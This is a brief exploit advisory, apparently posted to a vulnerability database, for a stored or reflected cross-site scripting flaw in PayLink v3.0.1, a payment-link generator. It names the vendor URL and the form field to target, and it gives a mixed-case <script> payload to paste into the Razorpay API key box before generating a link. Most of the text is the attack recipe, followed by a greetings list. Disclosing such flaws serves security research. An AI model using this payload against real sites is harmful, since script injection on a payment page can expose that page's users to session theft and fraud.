PayLink 3.0.1 Cross Site Scripting

======================================== ============================================================================
| # Title : PayLink v3.0.1 XSS Vulnerability |
| # Author : indoushka |
| # email : indoushka4ever@gmail.com |
| # Tested on : windows 10 FranASSais V.(Pro) |
| # Version : v3.0.1 |
| # Vendor : https://code.condize.com//pay/ |
| # Dork : n/a |
============================================================================

poc :

[+] Dorking Adegn Google Or Other Search Enggine

[+] Go 2 : ( razorpay ) https://code.condize.com/pay/index.php#razorpay

[+] use payload : in razorpay api key box <ScRiPt>prompt(00213771818860)</ScRiPt>
item name box = use any
amount in inr = use any
& click in generate link

https://code.condize.com/pay/p87iM2


Greetz :----------------------------------------------------------------------------------------
|
jericho * Larry W. Cashdollar * shadow0075 * djroot.dz *Gjoko 'LiquidWorm' Krstic |
|
================================================================================================